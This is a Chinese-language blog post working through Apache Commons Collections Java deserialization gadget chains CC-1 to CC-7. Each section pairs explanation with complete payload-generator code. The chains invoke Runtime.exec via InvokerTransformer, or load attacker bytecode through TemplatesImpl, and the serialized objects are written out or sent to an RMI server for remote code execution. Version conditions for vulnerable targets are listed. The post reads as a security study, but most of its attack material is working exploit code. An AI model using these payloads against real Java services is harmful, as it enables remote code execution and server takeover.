Commons Collections 利用链

CC链的利用实际上就是 Commons Collections 中的装饰器类，其中会包含 Transformer ；在其它类使用某些包装类的方法时，包含的 transformer 会对其进行了一次转换。而这个 Transformer 中的一些实现使用了反射，可以生成实例、调用方法；

更不巧的是一些 Transformer 、被装饰的数据结构（util）、装饰器实现了 Serializable 接口，可以被（反）序列化。

于是便可以构造一些 transformer 作为装饰器的参数，引用到某些能在反序列化时触发转换的类中。序列化该实例，生成payload。

所以此时就有三个问题：

构造怎样的可执行恶意代码并可序列化的 Transformer？
将构造的 Transformer 引用到 Commons Collections 中的哪些可序列化的包装类上？
用什么类去在反序列化时，能调用到包装类，并最终调用到 Transformer#transform 方法？

CC-1

反序列化执行方法

CC-1 链的最大作用为将被装饰的Map序列化后，作为数据输入到一个可以反序列化的jvm中，从而执行我们的代码。

发现 AbstractMapDecorator 中的 map 被 transient 修饰，且其实现类 TransformedMap 中重写了序列化与反序列化的方法，将 map 单独序列化与反序列化，期间并不会有 Transformer 接口的调用：

LazyMap

与 TransformedMap 相似，该实现类也只靠静态方法 lazymap(map, factory) 来构造。

包含属性：Transformer<? super K, ? extends V> factory

该类的序列化与反序列化重写方式与 TransformedMap 相同，但是该类重写了 get 方法：

即在 get 时，如果 map 中不存在 key ，则调用 this.factory.transform 方法，转换一下 key 作为 value 并存入。

也就是说 LazyMap 存的是 key->value（通过未重写的 put(key, value)正常存入）或 key->transform(key) (通过get 取一个不存在的 key 对应的 value )；

这样做应该是为了不影响已有的数据🤔。

Peek 2022-03-27 03-45

虽然如此，但在反序列化时，还是没有能调用到 get （中的 transform）。

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler

InvocationHandler for dynamic proxy implementation of Annotation.

@author Josh Bloch

@since 1.5

即该类是注解的一个动态代理类 🧐->🤔。

该类中包含一个Map 类型的 memberValues，而且发现该类重写了 readObject：

但是发现该方法并没有调用反序列化的 streamVals 的 get 或 put 。包括 entrySet 实际上也不会调用 get， put（entrySet 直接遍历 HashTable 的 table[] 以及通过 getNode 来获取当前的key-value）；

事实上，“get(” 在 HashTable 中只出现过两次：一次在方法定义，一次在 readObject 的 field 的 get 方法。

🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐🧐

原来是该方法在jdk \(8u71\) 做了改动，原来是这样的：

以下内容来自：https://xz.aliyun.com/t/7031#toc-9

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//
        Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//遍历map迭代器
            String var6 = (String)var5.getKey();//获取key的名称
            Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类？这边具体var3是什么个含义不太懂，但是肯定var7、8两者不一样
            if (var7 != null) {
                Object var8 = var5.getValue();//获取map的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //两者类型不一致，给var5赋值！！具体赋值什么已经不关键了！只要赋值了就代表执行命令成功
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

发现该方法调用了默认反序列化方法后，又去遍历了 memberValues

PoC

payload 生成

由于 AnnotationInvocationHandler 没有提供公有构造方法，所以需要通过反射调用。

@Test
@SuppressWarnings({"rawtypes", "unchecked"})
public void cc1WriteTest() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
    final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class)
            , new InvokerTransformer("getMethod"
                                     , new Class[]{String.class, Class[].class}
                                     , new Object[]{"getRuntime", new Class[0]})
            , new InvokerTransformer("invoke"
                                     , new Class[]{Object.class, Object[].class}
                                     , new Object[]{null, new Object[0]})
            , new InvokerTransformer("exec"
                                     , new Class[]{String[].class}
                                     , new Object[]{new String[]{"fire"}}),
        new ConstantTransformer("to be returned")
    };
    final Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();
    final LazyMap lazyMap = LazyMap.lazyMap(innerMap,  transformerChain);
    innerMap.put("value","value");
    System.out.println(lazyMap.get("none"));

    Class anClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = anClass.getConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    constructor.newInstance(SuppressWarnings.class,lazyMap);

    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(lazyMap);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

@Test
public void readTest() throws FileNotFoundException {
    try (ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload"))) {
        in.readObject();
    } catch (IOException e) {
        e.printStackTrace();
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
}

适用条件

服务端可以接受数据并反序列化，且服务端jdk版本 \(< 8u71\) ，并依赖于 Apahce Common Collections \(\leq 4.0\) 。

\(4.0\) 之后 InvacationTransformer 取消了 Serializable 接口。

子进程直接退出的原因

发现 fire 命令一闪而过，原因是因为没加 Process#waitFor 去等待子进程的执行完毕，主线程就结束了。

Process 的执行是完全异步的，而且当父进程，也就是JVM结束后，子进程也会被操作系统销毁。

虽然在多线程的环境下，例如 WEB环境下，由于多线程使得JVM一直存活，即使没有调用 waitFor，子进程也不会被销毁。

其实这个 waitFor 就是调用了 Object#wait() 通过检测 hasExited 来决定如果当前线程被唤醒，还要不要继续 wait：

是不是可以继续在链中添加 Transformer 对返回的 Process P 进行处理呢？

想不出来，因为 waitFor 被 synchronized 修饰，需要通过 Method#setAccessible 方法，但是如果调用了该方法，那么其返回值为 null，又没办法继续进行 invoke 调用了...😅😅😅

final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class)
        , new InvokerTransformer("getMethod"
                                 , new Class[]{String.class, Class[].class}
                                 , new Object[]{"getRuntime", new Class[0]})
        , new InvokerTransformer("invoke"
                                 , new Class[]{Object.class, Object[].class}
                                 , new Object[]{null, new Object[0]})
        , new InvokerTransformer("exec"
                                 , new Class[]{String[].class}
                                 , new Object[]{new String[]{"fire"}}),
    new InvokerTransformer("getClass"
                           , new Class[]{}
                           , new Object[]{}),
    new InvokerTransformer("getMethod"
                           , new Class[]{String.class, Class[].class}
                           , new Object[]{"waitFor", new Class[0]}),
    new InvokerTransformer("setAccessible"
                           , new Class[]{boolean.class}
                           , new Object[]{true}),
    //
    //                new ConstantTransformer("to be returned")
};

null

CC-2

版本：Commons Collections- \(4.0\)，jdk \(1.8.0\_332\)

Exploit

版本：Commons Collections- \(4.0\)，jdk \(1.8.0-332\)

Gadget chain

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    ...
    	TransformingComparator.compare()
    		InvokerTransformer.transform()
    			Method.invoke()
    				Runtime.exec()

实际上就是利用了 TemplatesImpl 的 transformer 方法，在 PriorityQueue 反序列化时被 InvokerTransformer 触发。

Payload 生成

public void cc2Test() throws Exception {
    byte[][] bts = new byte[][]{FileUtils.readFileToByteArray(new File("/home/niss/IdeaProjects/java-cve/rmi-server/target/classes/remote/exec/TransCmdExecutor.class"))};
    TemplatesImpl templates = new TemplatesImpl();
    setField(templates, "_bytecodes", bts);
    setField(templates, "_name", "my.evil");
    setField(templates, "_tfactory", new TransformerFactoryImpl());

    final Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

    TransformingComparator comparator = new TransformingComparator(transformer);
    PriorityQueue queue = new PriorityQueue();
    queue.add(1);
    queue.add(1);

    setField(queue, "queue", new Object[]{templates, templates});
    setField(queue, "comparator", comparator);

    Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099, Socket::new);
    remote.IRemoteEncoder remoteEncoder = (remote.IRemoteEncoder) registry.lookup("objectEncoder");
    remoteEncoder.encode(queue);

    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(queue);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

public static void setField(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
    Class claz = obj.getClass();
    Field f = claz.getDeclaredField(field);
    f.setAccessible(true);
    f.set(obj, value);
}

注意：这里因为queue的所有元素为 Templates 类型，所以可以被 InvokerTransformer 转化；其实可以构造如下的 transformer，不受输入影响，返回固定数据：
final Transformer transformer = new ChainedTransformer(
 new ConstantTransformer(templates),
 new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
 new ConstantTransformer("value")
);
CC-4 类似。

使用构造的queue，让RMI客户端读取，作为远程调用参数，并在服务端反序列化：

Peek 2022-03-27 03-53

注：RMI 服务端会将远程调用的异常序列化至客户端。

CC-3

Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.

CC-4

Variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.

使用 InstantiateTransformer 代替 InvokerTransformer（4.0 版本（不包括）之后不再被 Serializable 标记）

Exploit

版本：Commons Collections- \(4.0\)，jdk \(1.8.0\_332\)

构造 Templates 实例，以作为 TrAxFilter 的构造参数；

其中有用的也就 _name，_bytecodes，其它不用管最终也能执行（其实调用 getTransletInstance 方法中没用到 TransformerFactory，该方法返回之后才会用到。除非是因不使用 waitFor 等待或命令停止等原因而造成构造方法的返回，否则根本不会到使用 factory 这一步。
通过 ConstantTransformer 返回 TrAxFilter.class 作为输入，利用 InstantiateTransformer 调用 TrAxFilter 构造方法，并生成 ChainedTranformer；
构造 TransformingComparator；
构造 PriorityQueue queue ，并通过反射填入属性引用；

comparotor 可以通过构造方法指定；

但是 Object[] queue 通过反射填入是为了避免调用 put 时触发 comparator 中的 transformer 。
序列化 queue。
服务端接受并反序列化，开始 RCE。

payload 生成

@Test
@SuppressWarnings({"rawtypes", "unchecked"})
public void cc4Test() throws Exception {
    byte[][] bts = new byte[][]{FileUtils.readFileToByteArray(new File("/home/niss/IdeaProjects/java-cve/rmi-server/target/classes/remote/exec/TransCmdExecutor.class"))};
    TemplatesImpl templates = new TemplatesImpl();
    Class clazz = templates.getClass();

    setField(templates,"_bytecodes",bts);
    setField(templates,"_name","my.evil");
    setField(templates,"_tfactory",new TransformerFactoryImpl());

    final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    };
    final Transformer transformerChain = new ChainedTransformer(transformers);
    
    TransformingComparator comparator = new TransformingComparator(transformerChain);
    PriorityQueue queue = new PriorityQueue();
    setField(queue, "size", 2);
    setField(queue, "queue", new Object[]{templates,templates});
    setField(queue, "comparator", comparator);
    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(queue);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

Peek 2022-03-27 03-53

CC-5, 6

Exploit

版本：Commons Collections- \(4.0\)，jdk \(1.8.0\_332\)

payload 生成

通过 `HashMap`（CC-6）

@Test
@SuppressWarnings({"rawtypes", "unchecked"})
public void cc6Test() throws Exception {
    byte[][] bts = new byte[][]{FileUtils.readFileToByteArray(new File("/home/niss/IdeaProjects/java-cve/rmi-server/target/classes/remote/exec/TransCmdExecutor.class"))};
    TemplatesImpl templates = new TemplatesImpl();
    setField(templates, "_bytecodes", bts);
    setField(templates, "_name", "my.evil");
    setField(templates, "_tfactory", new TransformerFactoryImpl());

    final Transformer transformer = new ChainedTransformer(
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
        new ConstantTransformer("value")
    );

    HashMap hashMap = new HashMap();
    LazyMap lazyMap = LazyMap.lazyMap(hashMap, new ConstantTransformer<>("to replace"));
    TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "key");
 	HashMap toWrite = new HashMap();
    toWrite.put(mapEntry, "n");
    lazyMap.clear();
    setField(lazyMap, "factory", transformer);
    

    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(toWrite);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

通过 `BadAttributeValueExpException`（CC-5）

@Test
@SuppressWarnings({"rawtypes", "unchecked"})
public void cc5Test() throws Exception {
    ...与 HashMap 方式相同

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    setField(badAttributeValueExpException,"val",mapEntry);

    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(badAttributeValueExpException);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

Peek 2022-03-28 01-49

CC-7

Exploit

版本：Commons Collections- \(4.0\)，jdk \(1.8.0\_332\)

payload生成

@Test
@SuppressWarnings({"rawtypes", "unchecked"})
public void cc7Test() throws Exception {
    byte[][] bts = new byte[][]{FileUtils.readFileToByteArray(new File("/home/niss/IdeaProjects/java-cve/rmi-server/target/classes/remote/exec/TransCmdExecutor.class"))};
    TemplatesImpl templates = new TemplatesImpl();
    setField(templates, "_bytecodes", bts);
    setField(templates, "_name", "my.evil");
    setField(templates, "_tfactory", new TransformerFactoryImpl());

    Transformer[] fakeTransformer = new Transformer[]{};
    Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
    final Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
        new ConstantTransformer("value")
    };

    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();

    Map lazyMap1 = LazyMap.lazyMap(innerMap1, chainedTransformer);
    lazyMap1.put("yy", 1);

    Map lazyMap2 = LazyMap.lazyMap(innerMap2, chainedTransformer);
    lazyMap2.put("zZ", 1);

    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, "test");
    hashtable.put(lazyMap2, "test");
    innerMap2.remove("yy");
    System.out.println(hashtable);


    setField(chainedTransformer, "iTransformers", transformer);


    Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099, Socket::new);
    IRemoteEncoder remoteEncoder = (IRemoteEncoder) registry.lookup("objectEncoder");
    remoteEncoder.encode(hashtable);

    try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload"))) {
        out.writeObject(hashtable);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

Peek 2022-03-28 01-49

posted @ 2020-04-17 23:40 NIShoushun 阅读(512) 评论(0) 编辑收藏举报

刷新页面返回顶部

Niss

地上本来就有路，走的人多了，然后就把路堵死了...

Commons Collections 利用链